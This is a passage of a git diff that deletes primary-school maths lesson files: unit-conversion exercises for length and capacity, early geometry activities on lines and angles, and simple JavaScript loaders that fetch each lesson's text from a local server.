-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m12/map411m12a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m12/map411m12a06/source.txt b/Save_Mathematics/P4/map411m12/map411m12a06/source.txt
deleted file mode 100644
index f623859..0000000
--- a/Save_Mathematics/P4/map411m12/map411m12a06/source.txt
+++ /dev/null
@@ -1,40 +0,0 @@
-<p>
- 1)
- <span style="text-decoration: underline;">
-  Convert the given length
-  <br />
-  <br />
-  <br />
- </span>
- a) 18km = .................. m = .................. mm
- <br />
- b) 800m = ................ dm = ............... hm
- <br />
- c) 35.000cm = ................... m = ................. hm
- <br />
- d) 1.200m = ................... hm = ................ km
- <br />
- e) 12km = ........................ hm = ................ dm
- <br />
- f) 30.000dm = ................... m = ................. hm
- <br />
- <br />
- 2) Eliphaz ran a distance of 42.000m .
- <br />
- Wath distance did he travel in km .
- <span style="text-decoration: underline;">
-  <br />
- </span>
- <br />
- 3)Leon is at 12.000cm from Kigali .
- <br />
- What distance is this in hm ?
- <br />
- <br />
- 4) Muhamed ran 14.000 metres .
- <br />
- What distance did he run in kilometres ?
- <br />
- <br />
- 5) change 18500cm in metres.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m13/activities.js b/Save_Mathematics/P4/map411m13/activities.js
deleted file mode 100755
index fad4a4e..0000000
--- a/Save_Mathematics/P4/map411m13/activities.js
+++ /dev/null
@@ -1,10 +0,0 @@
-var activities = [
-['1','1','map4','basic','map411m13a01','blue'],
-['2','2','map4','basic','map411m13a02','blue'],
-['3','3','map4','basic','map411m13a03','blue'],
-['4','4','map4','basic','map411m13a04','blue'],
-['5','5','map4','basic','map411m13a05','blue'],
-['6','6','map4','basic','map411m13a06','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P4/map411m13/map411m13a01/a.txt b/Save_Mathematics/P4/map411m13/map411m13a01/a.txt
deleted file mode 100644
index 68a0bcc..0000000
--- a/Save_Mathematics/P4/map411m13/map411m13a01/a.txt
+++ /dev/null
@@ -1,13 +0,0 @@
-<p>
- <span style="color: #ff0000;">
-  Instruction
- </span>
- . Teacher orders pupils to take materials and do experience :
- <br />
- <br />
- Teacher asks pupil to take basine , to fill it water , then to use a small can and fetch all water from the basine, poured in garden of flowers at school or garden of vegetables .The teacher demands class to find the times a can filled of water is in the bassine .The teacher continues to invite pupils to do the experience with materials in kite science ( Recipient of 1l , 5l , 72 cl, 1ml.......)
- <br />
- Teacher invites pupils to analyse the different containers , to tell the units used for measuring liquids , to observe and to record the elements obtained by experience such as: 1cl is equal to 10 ml , 1cl = 10 ml ,1dl is equal to 10cl ,1dl = 10 cl , 1 l is equal to 10 dl, 1l = 10 dl
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m13/map411m13a01/description.py b/Save_Mathematics/P4/map411m13/map411m13a01/description.py
deleted file mode 100644
index af3f4d7..0000000
--- a/Save_Mathematics/P4/map411m13/map411m13a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m13a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m13/map411m13a01/lesson.js b/Save_Mathematics/P4/map411m13/map411m13a01/lesson.js
deleted file mode 100644
index 13e2fe8..0000000
--- a/Save_Mathematics/P4/map411m13/map411m13a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m13/map411m13a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m13/map411m13a01/source.txt b/Save_Mathematics/P4/map411m13/map411m13a01/source.txt
deleted file mode 100644
index 68a0bcc..0000000
--- a/Save_Mathematics/P4/map411m13/map411m13a01/source.txt
+++ /dev/null
@@ -1,13 +0,0 @@
-<p>
- <span style="color: #ff0000;">
-  Instruction
- </span>
- . Teacher orders pupils to take materials and do experience :
- <br />
- <br />
- Teacher asks pupil to take basine , to fill it water , then to use a small can and fetch all water from the basine, poured in garden of flowers at school or garden of vegetables .The teacher demands class to find the times a can filled of water is in the bassine .The teacher continues to invite pupils to do the experience with materials in kite science ( Recipient of 1l , 5l , 72 cl, 1ml.......)
- <br />
- Teacher invites pupils to analyse the different containers , to tell the units used for measuring liquids , to observe and to record the elements obtained by experience such as: 1cl is equal to 10 ml , 1cl = 10 ml ,1dl is equal to 10cl ,1dl = 10 cl , 1 l is equal to 10 dl, 1l = 10 dl
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m13/map411m13a02/a.txt b/Save_Mathematics/P4/map411m13/map411m13a02/a.txt
deleted file mode 100644
index 1150758..0000000
--- a/Save_Mathematics/P4/map411m13/map411m13a02/a.txt
+++ /dev/null
@@ -1,53 +0,0 @@
-<p>
- <span style="text-decoration: underline;">
- </span>
- Use conversion table to correct exercises n&ordm; 1 to 5( individual work ), 6 to 13 (do with your classmate ).
- <br />
- 1 . a) 4l = ...............dl = ....................cl
- <br />
- b) 12l = .............cl = ....................ml
- <br />
- c) 25l = ...............dl = ...................cl
- <br />
- d) 125l = ............dl = ...................cl
- <br />
- e) 43l = ...............dal = .................hl
- <br />
- f) 23dal = ...........hl = ....................l
- <br />
- g) 35ml = ...........cl = ....................dl
- <br />
- h) 55l = ..............dal = .................hl
- <br />
- i) 24dl = ..............cl = ...................ml
- <br />
- j) 2.5l = ..............cl = ....................ml
- <br />
- k) 4.7dl = ...........cl = ...................ml
- <br />
- l) 13.4cl = ...........ml
- <br />
- m) 87.3l = ..............dl = ................cl
- <br />
- <br />
- <br />
- 2) Solve these problems in context.
- <br />
- <br />
- <br />
- 2.1 . A baker uses 1550ml of oil to cook cakes, express the cooking oil needed for
- <br />
- a week in litres .
- <br />
- <br />
- 2.2 . If an adult consumes 3l of water per day for being healhty , find the capacity of water
- <br />
- drunk while 5 days in hl .
- <br />
- <br />
- 2.3 . After rain in mornig , there have been 15ml in the tank .If in the afternoon,
- <br />
- another rain falls and 2ml are added in the tank , find the capacity of rain water
- <br />
- will be got .
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m13/map411m13a02/description.py b/Save_Mathematics/P4/map411m13/map411m13a02/description.py
deleted file mode 100644
index 9b3bf38..0000000
--- a/Save_Mathematics/P4/map411m13/map411m13a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m13a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m13/map411m13a02/lesson.js b/Save_Mathematics/P4/map411m13/map411m13a02/lesson.js
deleted file mode 100644
index 1a146ed..0000000
--- a/Save_Mathematics/P4/map411m13/map411m13a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m13/map411m13a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m13/map411m13a02/source.txt b/Save_Mathematics/P4/map411m13/map411m13a02/source.txt
deleted file mode 100644
index 1150758..0000000
--- a/Save_Mathematics/P4/map411m13/map411m13a02/source.txt
+++ /dev/null
@@ -1,53 +0,0 @@
-<p>
- <span style="text-decoration: underline;">
- </span>
- Use conversion table to correct exercises n&ordm; 1 to 5( individual work ), 6 to 13 (do with your classmate ).
- <br />
- 1 . a) 4l = ...............dl = ....................cl
- <br />
- b) 12l = .............cl = ....................ml
- <br />
- c) 25l = ...............dl = ...................cl
- <br />
- d) 125l = ............dl = ...................cl
- <br />
- e) 43l = ...............dal = .................hl
- <br />
- f) 23dal = ...........hl = ....................l
- <br />
- g) 35ml = ...........cl = ....................dl
- <br />
- h) 55l = ..............dal = .................hl
- <br />
- i) 24dl = ..............cl = ...................ml
- <br />
- j) 2.5l = ..............cl = ....................ml
- <br />
- k) 4.7dl = ...........cl = ...................ml
- <br />
- l) 13.4cl = ...........ml
- <br />
- m) 87.3l = ..............dl = ................cl
- <br />
- <br />
- <br />
- 2) Solve these problems in context.
- <br />
- <br />
- <br />
- 2.1 . A baker uses 1550ml of oil to cook cakes, express the cooking oil needed for
- <br />
- a week in litres .
- <br />
- <br />
- 2.2 . If an adult consumes 3l of water per day for being healhty , find the capacity of water
- <br />
- drunk while 5 days in hl .
- <br />
- <br />
- 2.3 . After rain in mornig , there have been 15ml in the tank .If in the afternoon,
- <br />
- another rain falls and 2ml are added in the tank , find the capacity of rain water
- <br />
- will be got .
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m13/map411m13a03/a.txt b/Save_Mathematics/P4/map411m13/map411m13a03/a.txt
deleted file mode 100644
index 6fd9be3..0000000
--- a/Save_Mathematics/P4/map411m13/map411m13a03/a.txt
+++ /dev/null
@@ -1,53 +0,0 @@
-<p>
- <span style="text-decoration: underline;">
- </span>
- Use conversion tables to correct exercices n&ordm; 1 to 10 ,do then with your classmate .
- <br />
- 1 . a) 4l = ...............dl = ....................cl
- <br />
- b) 12l = .............cl = ....................ml
- <br />
- c) 25l = ...............dl = ...................cl
- <br />
- d) 125l = ............dl = ...................cl
- <br />
- e) 43l = ...............dal = .................hl
- <br />
- f) 23dal = ...........hl = ....................l
- <br />
- g) 35ml = ...........cl = ....................dl
- <br />
- h) 55l = ..............dal = .................hl
- <br />
- i) 24dl = ..............cl = ...................ml
- <br />
- j) 2.5l = ..............cl = ....................ml
- <br />
- k) 4.7dl = ...........cl = ...................ml
- <br />
- l) 13.4cl = ...........ml
- <br />
- m) 87.3l = ..............dl = ................cl
- <br />
- <br />
- <br />
- 2) Solve these problems of life in context
- <br />
- <br />
- <br />
- 2.1 . A baker use 1550ml of oil to cook cakes expres the cooking oil needed for
- <br />
- a week coonvert the ml in liters .
- <br />
- <br />
- 2.2 . If an adult consumes 3l of water for being healhty , find the capacity of water
- <br />
- drunk while 5 days in hl .
- <br />
- <br />
- 2.3 . After rain in this mornig , there has been 15ml in the tank .If in the afternoon,
- <br />
- anather rain falls and 2ml are added in the tank , find the capacity of rain water
- <br />
- will be get .
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m13/map411m13a03/description.py b/Save_Mathematics/P4/map411m13/map411m13a03/description.py
deleted file mode 100644
index ed5e77b..0000000
--- a/Save_Mathematics/P4/map411m13/map411m13a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m13a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m13/map411m13a03/lesson.js b/Save_Mathematics/P4/map411m13/map411m13a03/lesson.js
deleted file mode 100644
index ef6e0c8..0000000
--- a/Save_Mathematics/P4/map411m13/map411m13a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m13/map411m13a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m13/map411m13a03/source.txt b/Save_Mathematics/P4/map411m13/map411m13a03/source.txt
deleted file mode 100644
index 6fd9be3..0000000
--- a/Save_Mathematics/P4/map411m13/map411m13a03/source.txt
+++ /dev/null
@@ -1,53 +0,0 @@
-<p>
- <span style="text-decoration: underline;">
- </span>
- Use conversion tables to correct exercices n&ordm; 1 to 10 ,do then with your classmate .
- <br />
- 1 . a) 4l = ...............dl = ....................cl
- <br />
- b) 12l = .............cl = ....................ml
- <br />
- c) 25l = ...............dl = ...................cl
- <br />
- d) 125l = ............dl = ...................cl
- <br />
- e) 43l = ...............dal = .................hl
- <br />
- f) 23dal = ...........hl = ....................l
- <br />
- g) 35ml = ...........cl = ....................dl
- <br />
- h) 55l = ..............dal = .................hl
- <br />
- i) 24dl = ..............cl = ...................ml
- <br />
- j) 2.5l = ..............cl = ....................ml
- <br />
- k) 4.7dl = ...........cl = ...................ml
- <br />
- l) 13.4cl = ...........ml
- <br />
- m) 87.3l = ..............dl = ................cl
- <br />
- <br />
- <br />
- 2) Solve these problems of life in context
- <br />
- <br />
- <br />
- 2.1 . A baker use 1550ml of oil to cook cakes expres the cooking oil needed for
- <br />
- a week coonvert the ml in liters .
- <br />
- <br />
- 2.2 . If an adult consumes 3l of water for being healhty , find the capacity of water
- <br />
- drunk while 5 days in hl .
- <br />
- <br />
- 2.3 . After rain in this mornig , there has been 15ml in the tank .If in the afternoon,
- <br />
- anather rain falls and 2ml are added in the tank , find the capacity of rain water
- <br />
- will be get .
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m13/map411m13a04/a.txt b/Save_Mathematics/P4/map411m13/map411m13a04/a.txt
deleted file mode 100644
index a88d7d7..0000000
--- a/Save_Mathematics/P4/map411m13/map411m13a04/a.txt
+++ /dev/null
@@ -1,48 +0,0 @@
-<p>
- Individual work 1 to 5 from 5 to 10 group work .
- <br />
- <br />
- 1.
- <span style="text-decoration: underline;">
-  Complete
- </span>
- <span style="text-decoration: underline; background-color: #333333; color: #666666;">
-  <span class="nolink">
-  </span>
- </span>
- <br />
- <br />
- a) 2l = ..................... cl = 2000ml
- <br />
- b) .........kl = 40hl = ..................l
- <br />
- c) .........hl = 200l = ..................cl
- <br />
- d) 6l + 7dl = .............................l
- <br />
- e) 40l - 3cl = ............................cl
- <br />
- f) 125hl - 25dl = .....................hl
- <br />
- g) 20dal : 4 = ............................l
- <br />
- h) 0.6hl x 5 = ............................l
- <br />
- i) 5000ml - 2l = .........................l
- <br />
- j) 50dal : 5 = ...........................hl
- <br />
- <br />
- 2. Carine has a water container which can hold up to 5l of water .She ought to fill a barrel containing 50l
- <br />
- . How many trips to the river must she do for to fill the barrel?
- <br />
- <br />
- 3. A bus driver used 25 litres of fuel on his route from Rwamagana to Kayonza .
- <br />
- Then he used more 14 litres of fuel on his route to Rusumo . How much fuel
- <br />
- did he use altogether ? write the answer as a number sentence .
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m13/map411m13a04/description.py b/Save_Mathematics/P4/map411m13/map411m13a04/description.py
deleted file mode 100644
index 79c3b61..0000000
--- a/Save_Mathematics/P4/map411m13/map411m13a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m13a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m13/map411m13a04/lesson.js b/Save_Mathematics/P4/map411m13/map411m13a04/lesson.js
deleted file mode 100644
index e9e9cf1..0000000
--- a/Save_Mathematics/P4/map411m13/map411m13a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m13/map411m13a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m13/map411m13a04/source.txt b/Save_Mathematics/P4/map411m13/map411m13a04/source.txt
deleted file mode 100644
index a88d7d7..0000000
--- a/Save_Mathematics/P4/map411m13/map411m13a04/source.txt
+++ /dev/null
@@ -1,48 +0,0 @@
-<p>
- Individual work 1 to 5 from 5 to 10 group work .
- <br />
- <br />
- 1.
- <span style="text-decoration: underline;">
-  Complete
- </span>
- <span style="text-decoration: underline; background-color: #333333; color: #666666;">
-  <span class="nolink">
-  </span>
- </span>
- <br />
- <br />
- a) 2l = ..................... cl = 2000ml
- <br />
- b) .........kl = 40hl = ..................l
- <br />
- c) .........hl = 200l = ..................cl
- <br />
- d) 6l + 7dl = .............................l
- <br />
- e) 40l - 3cl = ............................cl
- <br />
- f) 125hl - 25dl = .....................hl
- <br />
- g) 20dal : 4 = ............................l
- <br />
- h) 0.6hl x 5 = ............................l
- <br />
- i) 5000ml - 2l = .........................l
- <br />
- j) 50dal : 5 = ...........................hl
- <br />
- <br />
- 2. Carine has a water container which can hold up to 5l of water .She ought to fill a barrel containing 50l
- <br />
- . How many trips to the river must she do for to fill the barrel?
- <br />
- <br />
- 3. A bus driver used 25 litres of fuel on his route from Rwamagana to Kayonza .
- <br />
- Then he used more 14 litres of fuel on his route to Rusumo . How much fuel
- <br />
- did he use altogether ? write the answer as a number sentence .
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m13/map411m13a05/a.txt b/Save_Mathematics/P4/map411m13/map411m13a05/a.txt
deleted file mode 100644
index 02e79cd..0000000
--- a/Save_Mathematics/P4/map411m13/map411m13a05/a.txt
+++ /dev/null
@@ -1,28 +0,0 @@
-<p>
- 1) A jerry can holds 25cl of water and a jug holds 1l of water .
- <br />
- How much water do they hold together in cl ?
- <br />
- <br />
- 2) 2dl + 1l = .....................dl
- <br />
- 3) 100l : 25 = .................l
- <br />
- 4) 13hl + 4dal = ................l
- <br />
- 5) 300cl = .................dl = ............dal
- <br />
- 6) 4500ml = ..............dl = 15 dl
- <br />
- 7) 8cl = ..............ml
- <br />
- 8) 20cl = ....................dl
- <br />
- 9) 500cl = ..................dal
- <br />
- 10) 4000dl = ..............hl
- <br />
- 11) A mason has filled a tank of water for his activities with 625 hl .
- <br />
- How many jerrycans of 25l will he fetch from the tank ?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m13/map411m13a05/description.py b/Save_Mathematics/P4/map411m13/map411m13a05/description.py
deleted file mode 100644
index cc07985..0000000
--- a/Save_Mathematics/P4/map411m13/map411m13a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m13a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m13/map411m13a05/lesson.js b/Save_Mathematics/P4/map411m13/map411m13a05/lesson.js
deleted file mode 100644
index 7fdd406..0000000
--- a/Save_Mathematics/P4/map411m13/map411m13a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m13/map411m13a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m13/map411m13a05/source.txt b/Save_Mathematics/P4/map411m13/map411m13a05/source.txt
deleted file mode 100644
index 02e79cd..0000000
--- a/Save_Mathematics/P4/map411m13/map411m13a05/source.txt
+++ /dev/null
@@ -1,28 +0,0 @@
-<p>
- 1) A jerry can holds 25cl of water and a jug holds 1l of water .
- <br />
- How much water do they hold together in cl ?
- <br />
- <br />
- 2) 2dl + 1l = .....................dl
- <br />
- 3) 100l : 25 = .................l
- <br />
- 4) 13hl + 4dal = ................l
- <br />
- 5) 300cl = .................dl = ............dal
- <br />
- 6) 4500ml = ..............dl = 15 dl
- <br />
- 7) 8cl = ..............ml
- <br />
- 8) 20cl = ....................dl
- <br />
- 9) 500cl = ..................dal
- <br />
- 10) 4000dl = ..............hl
- <br />
- 11) A mason has filled a tank of water for his activities with 625 hl .
- <br />
- How many jerrycans of 25l will he fetch from the tank ?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m13/map411m13a06/a.txt b/Save_Mathematics/P4/map411m13/map411m13a06/a.txt
deleted file mode 100644
index 5b21fa1..0000000
--- a/Save_Mathematics/P4/map411m13/map411m13a06/a.txt
+++ /dev/null
@@ -1,57 +0,0 @@
-<p>
- 1. Convert the measurements on the pictures in cl,ml and hl .
- <br />
- <br />
- <br />
- <br />
- <br />
- <span style="color: #ff0000;">
-  pictures
- </span>
- <br />
- <span style="color: #ff0000;">
-  petrol tank 680dal
- </span>
- <br />
- <br style="color: #ff0000;" />
- <span style="color: #ff0000;">
-  At station Kobil 175 l of gasoil
- </span>
- <br />
- <br />
- <span style="font-weight: bold; color: #ff0000;">
-  Fuel reservoir of 130 d
- </span>
- l
- <br />
- <br />
- <br />
- 2. A borehore is filled of 1890 hl, If Joseph must to empty it with a small barrel
- <br />
- containing 54hl , find the number of barrel Joseph will hold .
- <br />
- <br />
- 3. A daihatsu can transport 540 milkcanes and 1 milkcane can contain 15l . How
- <br />
- many litres does a Daihatsu contain in a travel ?
- <br />
- <br />
- 4) Calculate the Cl of water produced by Inyange industries
- <br />
- containing in a box following the illustration.
- <br />
- <br style="color: #ff0000;" />
- <span style="color: #ff0000;">
-  Picture of 12 bottles whose 1l and 5 dl in a box
- </span>
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m13/map411m13a06/description.py b/Save_Mathematics/P4/map411m13/map411m13a06/description.py
deleted file mode 100644
index 8daa6f2..0000000
--- a/Save_Mathematics/P4/map411m13/map411m13a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m13a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m13/map411m13a06/lesson.js b/Save_Mathematics/P4/map411m13/map411m13a06/lesson.js
deleted file mode 100644
index a5ee5fd..0000000
--- a/Save_Mathematics/P4/map411m13/map411m13a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m13/map411m13a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m13/map411m13a06/source.txt b/Save_Mathematics/P4/map411m13/map411m13a06/source.txt
deleted file mode 100644
index 5b21fa1..0000000
--- a/Save_Mathematics/P4/map411m13/map411m13a06/source.txt
+++ /dev/null
@@ -1,57 +0,0 @@
-<p>
- 1. Convert the measurements on the pictures in cl,ml and hl .
- <br />
- <br />
- <br />
- <br />
- <br />
- <span style="color: #ff0000;">
-  pictures
- </span>
- <br />
- <span style="color: #ff0000;">
-  petrol tank 680dal
- </span>
- <br />
- <br style="color: #ff0000;" />
- <span style="color: #ff0000;">
-  At station Kobil 175 l of gasoil
- </span>
- <br />
- <br />
- <span style="font-weight: bold; color: #ff0000;">
-  Fuel reservoir of 130 d
- </span>
- l
- <br />
- <br />
- <br />
- 2. A borehore is filled of 1890 hl, If Joseph must to empty it with a small barrel
- <br />
- containing 54hl , find the number of barrel Joseph will hold .
- <br />
- <br />
- 3. A daihatsu can transport 540 milkcanes and 1 milkcane can contain 15l . How
- <br />
- many litres does a Daihatsu contain in a travel ?
- <br />
- <br />
- 4) Calculate the Cl of water produced by Inyange industries
- <br />
- containing in a box following the illustration.
- <br />
- <br style="color: #ff0000;" />
- <span style="color: #ff0000;">
-  Picture of 12 bottles whose 1l and 5 dl in a box
- </span>
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m14/activities.js b/Save_Mathematics/P4/map411m14/activities.js
deleted file mode 100755
index c4a14d9..0000000
--- a/Save_Mathematics/P4/map411m14/activities.js
+++ /dev/null
@@ -1,10 +0,0 @@
-var activities = [
-['1','1','map4','basic','map411m14a01','blue'],
-['2','2','map4','basic','map411m14a02','blue'],
-['3','3','map4','basic','map411m14a03','blue'],
-['4','4','map4','basic','map411m14a04','blue'],
-['5','5','map4','basic','map411m14a05','blue'],
-['6','6','map4','basic','map411m14a06','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P4/map411m14/map411m14a01/a.txt b/Save_Mathematics/P4/map411m14/map411m14a01/a.txt
deleted file mode 100644
index c135022..0000000
--- a/Save_Mathematics/P4/map411m14/map411m14a01/a.txt
+++ /dev/null
@@ -1,37 +0,0 @@
-<p>
- With your ruler and square and enter in the paint or turtle to :
- <br />
- The teacher asks to the pupils to
-</p>
-<ul>
- <li>
-  Draw and identify the straight lines .
- </li>
-</ul>
-<ul>
- <li>
-  Name the lines according to their types ,fold a square , rectangular or circular piece of paper , open to see the formed lines .
- </li>
- <li>
-  open a door , a book , and constat the amount of opening that make angle.
- </li>
-</ul>
-<p>
- NB :An angle is measured using an instrument called PROCTORATE.
- <br />
- <br />
- <br />
- <span style="color: #ff0000;">
-  Instruction : Pictures of open book , door and other materials that can make angles.
- </span>
- <br style="color: #ff0000;" />
- <br />
- <br />
- Teacher asks pupils to observe
- <br />
- the pillars of school . What is their position .
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m14/map411m14a01/description.py b/Save_Mathematics/P4/map411m14/map411m14a01/description.py
deleted file mode 100644
index dfe80cb..0000000
--- a/Save_Mathematics/P4/map411m14/map411m14a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m14a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m14/map411m14a01/lesson.js b/Save_Mathematics/P4/map411m14/map411m14a01/lesson.js
deleted file mode 100644
index e84ef7e..0000000
--- a/Save_Mathematics/P4/map411m14/map411m14a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m14/map411m14a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m14/map411m14a01/source.txt b/Save_Mathematics/P4/map411m14/map411m14a01/source.txt
deleted file mode 100644
index c135022..0000000
--- a/Save_Mathematics/P4/map411m14/map411m14a01/source.txt
+++ /dev/null
@@ -1,37 +0,0 @@
-<p>
- With your ruler and square and enter in the paint or turtle to :
- <br />
- The teacher asks to the pupils to
-</p>
-<ul>
- <li>
-  Draw and identify the straight lines .
- </li>
-</ul>
-<ul>
- <li>
-  Name the lines according to their types ,fold a square , rectangular or circular piece of paper , open to see the formed lines .
- </li>
- <li>
-  open a door , a book , and constat the amount of opening that make angle.
- </li>
-</ul>
-<p>
- NB :An angle is measured using an instrument called PROCTORATE.
- <br />
- <br />
- <br />
- <span style="color: #ff0000;">
-  Instruction : Pictures of open book , door and other materials that can make angles.
- </span>
- <br style="color: #ff0000;" />
- <br />
- <br />
- Teacher asks pupils to observe
- <br />
- the pillars of school . What is their position .
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m14/map411m14a02/a.txt b/Save_Mathematics/P4/map411m14/map411m14a02/a.txt
deleted file mode 100644
index acef5b4..0000000
--- a/Save_Mathematics/P4/map411m14/map411m14a02/a.txt
+++ /dev/null
@@ -1,162 +0,0 @@
-<p>
- <br />
- Example 1 : pictures of:
- <br />
- <br />
- <br />
- <br />
- oblique lines.
- <br />
- <br />
- <br />
- vertical lines.
- <br />
- <br />
- <br />
- horizontal lines.
- <br />
- <br />
- <br />
- observation a,b ,c ,d
- <br />
- A B
-</p>
-<table style="width: 149px; height: 109px;" border="1">
- <tbody>
-  <tr>
-   <td width="100%" valign="top">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- C D
- <br />
- <br />
- vertical lines
- <br />
- <br />
- are xertical lines a ,b ,c ,d
- <br />
- <br />
- D C and AB are horizontal lines .
- <br />
- <br />
- D B and A C Vertical and parallel lines.
- <br />
- BD and CD are perpendicular lines.
- <br />
- <br />
- <br />
- knowledge : &ndash; Straight vertical lines are upright or perpendicula lines .
- <br />
- &ndash; Straight oblique lines are sloping lines .
- <br />
- &ndash; Straight holizontal lines are right to lest straight lines .
- <br />
- <br />
- Instructions teacher asks students to observe perpendicular lines , non perpendicular
- <br />
- and cutting straight lines .
- <br />
- <br style="color: #ff0000;" />
- <span style="color: #ff0000;">
-  Example 2 : pictures of parallel lines
- </span>
- <br />
- <br />
- <span style="color: #ff0000;">
-  Example 3 : pictures of perpendicular lines
- </span>
- <br style="color: #ff0000;" />
- <br style="color: #ff0000;" />
- <br style="color: #ff0000;" />
- <span style="color: #ff0000;">
-  Example 4 : pictures of non perpendicular lines.
- </span>
- <br />
- <br />
- <span style="color: #ff0000;">
-  example 5: show different angles, parallel lines and perpendicular lines of such picture.
- </span>
- <br style="color: #ff0000;" />
-</p>
-<table style="width: 183px; height: 122px;" border="1" align="center">
- <tbody>
-  <tr>
-   <td width="50%" valign="top">
-    <br />
-   </td>
